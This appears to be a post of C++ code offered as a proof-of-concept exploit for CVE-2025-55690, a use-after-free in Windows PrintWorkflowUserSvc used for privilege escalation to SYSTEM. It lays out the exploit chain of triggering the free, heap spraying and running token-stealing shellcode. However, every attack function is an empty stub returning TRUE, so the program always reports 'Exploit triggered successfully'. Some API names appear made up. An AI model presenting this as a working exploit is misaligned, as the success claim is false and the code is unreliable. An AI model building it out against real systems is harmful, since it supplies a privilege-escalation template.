CVE-2025-55690：Windows PrintWorkflowUserSvc UAF权限提升漏洞

// CVE-2025-55690 - Windows PrintWorkflowUserSvc UAF LEP PoC Concept // Use After Free in PrintWorkflowUserSvc for Local Privilege Escalation // Note: This is a conceptual PoC based on the vulnerability description. // Actual exploitation requires specific Windows API calls to PrintWorkflowUserSvc. #include <windows.h> #include <iostream> #include <comdef.h> #include <printworkflow.h> // Token stealing shellcode offset for Windows 10/11 (varies by build) // In real exploit, this would be replaced with actual token stealing payload class PrintWorkflowExploit { private: // Handle to PrintWorkflowUserSvc interface IPrintWorkflowServices* m_pServices; // Vulnerable object that will be freed PVOID m_pVulnObject; public: BOOL TriggerUAF() { // Step 1: Initialize COM and obtain PrintWorkflow services HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) return FALSE; // Step 2: Trigger the vulnerable code path in PrintWorkflowUserSvc // by sending a crafted print workflow request that causes // the service to allocate and then free an object improperly hr = CoCreateInstance( CLSID_PrintWorkflowServices, NULL, CLSCTX_LOCAL_SERVER, IID_IPrintWorkflowServices, (void**)&m_pServices ); if (FAILED(hr)) return FALSE; // Step 3: Force the UAF condition by triggering // a specific sequence of print workflow operations // that causes premature object deallocation TriggerVulnerableSequence(); // Step 4: Reclaim the freed memory with controlled data ReclaimFreedMemory(); // Step 5: Execute payload through the dangling pointer // to achieve privilege escalation to SYSTEM return ExecutePayload(); } private: BOOL TriggerVulnerableSequence() { // Implement specific API calls that trigger the UAF // in PrintWorkflowUserSvc's object lifecycle management return TRUE; } BOOL ReclaimFreedMemory() { // Heap spray to reclaim freed memory with controlled content return TRUE; } BOOL ExecutePayload() { // Token stealing shellcode execution for LPE return TRUE; } }; int main() { std::cout << "[+] CVE-2025-55690 PrintWorkflowUserSvc UAF LPE PoC" << std::endl; PrintWorkflowExploit exploit; if (exploit.TriggerUAF()) { std::cout << "[+] Exploit triggered successfully" << std::endl; } else { std::cout << "[-] Exploit failed" << std::endl; } return 0; }